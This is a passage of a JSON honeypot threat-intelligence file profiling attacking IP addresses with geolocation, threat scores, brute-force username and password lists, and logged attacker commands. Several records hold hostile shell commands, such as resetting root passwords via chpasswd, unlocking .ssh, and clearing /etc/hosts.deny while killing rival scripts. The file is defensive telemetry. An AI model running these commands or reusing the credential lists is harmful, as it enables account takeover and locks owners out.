        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Gelendzhik",
      "asn": 12389,
      "as_org": "Rostelecom",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T17:35:46.458000+00:00",
        "last_seen_30d": "2026-05-19T17:37:07.972000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "92.41.58.10": {
      "attack_count": 2,
      "first_seen": "2026-05-19T01:15:37.250Z",
      "last_seen": "2026-05-19T01:15:50.048Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Cardiff",
      "asn": 206067,
      "as_org": "Three",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T01:15:37.250000+00:00",
        "last_seen_30d": "2026-05-19T01:16:53.412000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "95.42.54.132": {
      "attack_count": 2,
      "first_seen": "2026-05-19T20:05:53.361Z",
      "last_seen": "2026-05-19T20:06:23.900Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bulgaria",
      "country_code": "BG",
      "city": "Sofia",
      "asn": 8866,
      "as_org": "Vivacom Bulgaria EAD",
      "threat_score": 11.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T20:05:53.361000+00:00",
        "last_seen_30d": "2026-05-19T20:07:33.490000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "98.97.134.32": {
      "attack_count": 2,
      "first_seen": "2026-05-14T22:31:07.806Z",
      "last_seen": "2026-05-14T22:33:07.859Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": null,
      "asn": 14593,
      "as_org": "Space Exploration Technologies Corporation",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T22:31:07.806000+00:00",
        "last_seen_30d": "2026-05-14T22:43:10.013000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "179.43.139.58": {
      "attack_count": 9515,
      "first_seen": "2026-05-02T00:15:43.618Z",
      "last_seen": "2026-05-31T23:39:58.045Z",
      "sessions": 1781,
      "ports": [],
      "usernames_attempted": [
        "oracle",
        "ftp1",
        "authority",
        "ddd",
        "a",
        "ui"
      ],
      "passwords_attempted": [
        "or4cl3",
        "ftp1",
        "authority",
        "ddd",
        "a",
        "ui"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Switzerland",
      "country_code": "CH",
      "city": "R\u00fcmlang",
      "asn": 51852,
      "as_org": "Private Layer INC",
      "threat_score": 69.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 25,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 13849,
        "days_active_30d": 30,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T00:15:43.618000+00:00",
        "last_seen_30d": "2026-05-31T23:41:05.533000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 9515,
        "Suricata": 4334
      }
    },
    "20.164.21.26": {
      "attack_count": 5962,
      "first_seen": "2026-05-02T12:02:34.889Z",
      "last_seen": "2026-05-12T15:20:28.776Z",
      "sessions": 1187,
      "ports": [],
      "usernames_attempted": [
        "root",
        "oracle",
        "user",
        "es",
        "test",
        "admin",
        "flask",
        "gitlab",
        "hadoop",
        "git",
        "postgres",
        "www",
        "app",
        "esuser",
        "ftpuser",
        "guest",
        "ftp",
        "nginx",
        "tom",
        "uftp"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "abc123",
        "1",
        "password",
        "!QAZ@WSX",
        "111111",
        "12345678",
        "1qazXSW@",
        "1234",
        "1qaz@WSX",
        "admin",
        " ",
        "!Q2w3e4r",
        "!Q@W3e4r",
        "!QAZ2wsx",
        "!QAZ@wsx",
        "!Qaz@Wsx",
        "!qaz@WSX",
        "12345"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "South Africa",
      "country_code": "ZA",
      "city": "Johannesburg",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 18.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 9.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 8385,
        "days_active_30d": 11,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T12:02:34.889000+00:00",
        "last_seen_30d": "2026-05-12T15:21:29.519000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5962,
        "Suricata": 2423
      }
    },
    "157.92.145.135": {
      "attack_count": 1242,
      "first_seen": "2026-05-21T15:18:05.787Z",
      "last_seen": "2026-05-21T16:46:28.523Z",
      "sessions": 248,
      "ports": [],
      "usernames_attempted": [
        "root",
        "oracle",
        "admin",
        "es",
        "test",
        "user",
        "app",
        "esuser",
        "flask",
        "ftpuser",
        "git",
        "gitlab",
        "guest",
        "hadoop",
        "postgres",
        "www",
        "deploy",
        "dev",
        "dolphinscheduler",
        "elastic"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "abc123",
        "1",
        "password",
        "!QAZ@WSX",
        "111111",
        "1234",
        "12345678",
        "1qaz@WSX",
        "1qazXSW@",
        "admin",
        "!Q2w3e4r",
        "!Q@W3e4r",
        "!QAZ2wsx",
        "!QAZ@wsx",
        "!Qaz@Wsx",
        "!qaz@WSX",
        "123321",
        "12345"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": null,
      "asn": 3449,
      "as_org": "Universidad Nacional de Buenos Aires",
      "threat_score": 28.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 1758,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T15:18:05.787000+00:00",
        "last_seen_30d": "2026-05-21T16:47:37.358000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1242,
        "Suricata": 516
      }
    },
    "59.98.69.33": {
      "attack_count": 462,
      "first_seen": "2026-05-04T12:09:27.596Z",
      "last_seen": "2026-05-22T09:34:11.611Z",
      "sessions": 231,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Marthandam",
      "asn": 9829,
      "as_org": "National Internet Backbone",
      "threat_score": 39.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.4,
        "persistence": 15.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 693,
        "days_active_30d": 19,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T12:09:27.596000+00:00",
        "last_seen_30d": "2026-05-22T09:35:19.544000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 462,
        "Suricata": 231
      }
    },
    "223.151.73.6": {
      "attack_count": 434,
      "first_seen": "2026-05-19T18:05:06.717Z",
      "last_seen": "2026-05-20T18:06:18.238Z",
      "sessions": 217,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 26.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.2,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 664,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T18:05:06.717000+00:00",
        "last_seen_30d": "2026-05-20T18:07:24.033000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 434,
        "Suricata": 230
      }
    },
    "38.207.132.98": {
      "attack_count": 370,
      "first_seen": "2026-05-04T12:36:31.212Z",
      "last_seen": "2026-05-29T22:43:24.357Z",
      "sessions": 39,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "345gs5662d34",
        "deploy",
        "gameserver",
        "ubuntu",
        "admin1",
        "administrator",
        "arkserver",
        "catuser",
        "daniel",
        "dspace",
        "elk",
        "es",
        "ftptest",
        "myappuser",
        "nisuser",
        "odoo",
        "pgadmin",
        "test"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "1",
        "123123!@#",
        "12345678",
        "123456789",
        "141414",
        "1z2x3c4v5",
        "20002000",
        "2357",
        "P@ssw0rd",
        "Pa$$w0rd",
        "Tt123456",
        "a",
        "abc@123",
        "admin!23",
        "admin123",
        "admin5com",
        "asdzxc"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"password\\n3qbIhzw179ld\\n3qbIhzw179ld\\n\"|passwd",
        "echo \"root:WSFjoLXbUZar\"|chpasswd|bash",
        "echo \"root:xHAOHDdZQ4Sh\"|chpasswd|bash",
        "echo -e \"password\\n3qbIhzw179ld\\n3qbIhzw179ld\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 6134,
      "as_org": "XNNET LLC",
      "threat_score": 56.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 26.7,
        "persistence": 21.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 463,
        "days_active_30d": 26,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T12:36:31.212000+00:00",
        "last_seen_30d": "2026-05-29T22:44:33.396000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 370,
        "Suricata": 93
      }
    },
    "187.212.38.18": {
      "attack_count": 287,
      "first_seen": "2026-05-05T08:15:14.205Z",
      "last_seen": "2026-05-05T09:56:02.799Z",
      "sessions": 34,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "admin",
        "root",
        "user",
        "345gs5662d34",
        "steam",
        "test",
        "test1",
        "bmuuser",
        "ec2-user",
        "guest",
        "guest3",
        "pyuser",
        "tempuser",
        "ubuntu2"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "Admin123",
        "123321",
        "123456",
        "12345678",
        "123456@qq.com",
        "123456ab",
        "1234rewq",
        "123qwe",
        "123test123",
        "1qazxsw23edc",
        "20",
        "Huawei123",
        "P@ssword1!",
        "Passw0rd",
        "admin123",
        "admin@123",
        "adminisp",
        "asd1234567"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"root:YalQWUTzMMFv\"|chpasswd|bash",
        "echo \"ubuntu12345\\n6qGoW494bQp6\\n6qGoW494bQp6\\n\"|passwd",
        "echo -e \"ubuntu12345\\n6qGoW494bQp6\\n6qGoW494bQp6\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Puebla City",
      "asn": 8151,
      "as_org": "UNINET",
      "threat_score": 5.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 374,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T08:15:14.205000+00:00",
        "last_seen_30d": "2026-05-05T09:57:12.229000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 287,
        "Suricata": 87
      }
    },
    "203.21.120.126": {
      "attack_count": 267,
      "first_seen": "2026-05-22T22:02:06.545Z",
      "last_seen": "2026-05-24T07:03:52.437Z",
      "sessions": 30,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "info",
        "abc",
        "admin",
        "anna",
        "ansible",
        "ftpmedia",
        "hello",
        "hh",
        "jenkins",
        "lemon",
        "marc",
        "pentaho",
        "runner",
        "ubuntu"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "1234",
        "123456",
        "1q@",
        "Abc123456*",
        "Abc12345678@",
        "Root123",
        "Tk123456@",
        "aa",
        "abc",
        "admin888",
        "asdfg@123",
        "cyber@123",
        "ftpmedia",
        "hello",
        "hh",
        "htvx32v6",
        "info"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"info\\nd15F4c8hTtj5\\nd15F4c8hTtj5\\n\"|passwd",
        "echo \"root:JAPbUj130DaX\"|chpasswd|bash",
        "echo -e \"info\\nd15F4c8hTtj5\\nd15F4c8hTtj5\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Mongolia",
      "country_code": "MN",
      "city": null,
      "asn": 17882,
      "as_org": "UNIVISION LLC",
      "threat_score": 30.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.3,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 342,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T22:02:06.545000+00:00",
        "last_seen_30d": "2026-05-24T07:04:55.851000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 267,
        "Suricata": 75
      }
    },
    "42.100.58.221": {
      "attack_count": 264,
      "first_seen": "2026-05-18T22:02:44.921Z",
      "last_seen": "2026-05-23T07:18:12.333Z",
      "sessions": 132,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 31.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.1,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 409,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T22:02:44.921000+00:00",
        "last_seen_30d": "2026-05-23T07:19:21.107000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 264,
        "Suricata": 145
      }
    },
    "47.180.114.229": {
      "attack_count": 261,
      "first_seen": "2026-05-28T22:02:01.366Z",
      "last_seen": "2026-05-28T22:21:02.808Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "ftp_user",
        "hosting",
        "rdp"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123123",
        "Aa121314",
        "Ab123456",
        "Dev@2025",
        "Hh123456",
        "Hn123456",
        "Password1234",
        "Qwerty123@",
        "fjbdfdjkdsfs541544",
        "ftp_user",
        "rdp"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"fjbdfdjkdsfs541544\\nkTRmsRor9CVc\\nkTRmsRor9CVc\\n\"|passwd",
        "echo \"ftp_user\\nW8XoVfm7BeAE\\nW8XoVfm7BeAE\\n\"|passwd",
        "echo \"root:eC6pTZluspRz\"|chpasswd|bash",
        "echo -e \"fjbdfdjkdsfs541544\\nkTRmsRor9CVc\\nkTRmsRor9CVc\"|passwd|bash",
        "echo -e \"ftp_user\\nW8XoVfm7BeAE\\nW8XoVfm7BeAE\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Rancho Cucamonga",
      "asn": 5650,
      "as_org": "Frontier Communications of America, Inc.",
      "threat_score": 33.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 299,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-28T22:02:01.366000+00:00",
        "last_seen_30d": "2026-05-28T22:22:09.791000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 261,
        "Suricata": 38
      }
    },
    "42.100.56.202": {
      "attack_count": 258,
      "first_seen": "2026-05-19T08:00:41.259Z",
      "last_seen": "2026-05-20T06:18:28.958Z",
      "sessions": 129,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 25.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.9,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 392,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T08:00:41.259000+00:00",
        "last_seen_30d": "2026-05-20T06:19:32.213000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 258,
        "Suricata": 134
      }
    },
    "114.227.80.216": {
      "attack_count": 216,
      "first_seen": "2026-05-19T06:54:58.154Z",
      "last_seen": "2026-05-19T17:59:33.650Z",
      "sessions": 108,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 22.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 330,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T06:54:58.154000+00:00",
        "last_seen_30d": "2026-05-19T18:00:34.428000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 216,
        "Suricata": 114
      }
    },
    "185.247.116.194": {
      "attack_count": 216,
      "first_seen": "2026-05-02T15:10:50.691Z",
      "last_seen": "2026-05-02T15:18:42.903Z",
      "sessions": 108,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "London",
      "asn": 210329,
      "as_org": "Kamatera Inc",
      "threat_score": 3.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 410,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T15:10:50.691000+00:00",
        "last_seen_30d": "2026-05-02T15:28:16.072000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 216,
        "Suricata": 194
      }
    },
    "62.182.85.212": {
      "attack_count": 216,
      "first_seen": "2026-05-03T01:28:56.430Z",
      "last_seen": "2026-05-30T23:17:14.864Z",
      "sessions": 36,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ukraine",
      "country_code": "UA",
      "city": "Kyiv",
      "asn": 30860,
      "as_org": "Virtual Systems LLC",
      "threat_score": 57.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 24.0,
        "persistence": 23.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 253,
        "days_active_30d": 28,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T01:28:56.430000+00:00",
        "last_seen_30d": "2026-05-30T23:18:20.490000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 144,
        "Suricata": 109
      }
    },
    "125.253.121.228": {
      "attack_count": 199,
      "first_seen": "2026-05-02T23:56:40.767Z",
      "last_seen": "2026-05-03T00:40:14.392Z",
      "sessions": 28,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "root",
        "ftpuser",
        "git",
        "sysadmin",
        "test",
        "345gs5662d34",
        "Admin",
        "admin",
        "amir",
        "ansadmin",
        "deploy",
        "es",
        "guest",
        "hadoop",
        "postgres",
        "user2"
      ],
      "passwords_attempted": [
        "P@ssw0rd",
        "admin",
        "000000",
        "102030",
        "123123",
        "12345",
        "3245gs5662d34",
        "345gs5662d34",
        "7777",
        "88888",
        "Password!1",
        "Qazwsx123",
        "Qwerty123",
        "email",
        "es@2022",
        "hadoop#123",
        "iamadmin",
        "pulamea",
        "qwerty09",
        "revolution"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"102030\\nNxhRzijOLVtx\\nNxhRzijOLVtx\\n\"|passwd",
        "echo -e \"102030\\nNxhRzijOLVtx\\nNxhRzijOLVtx\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
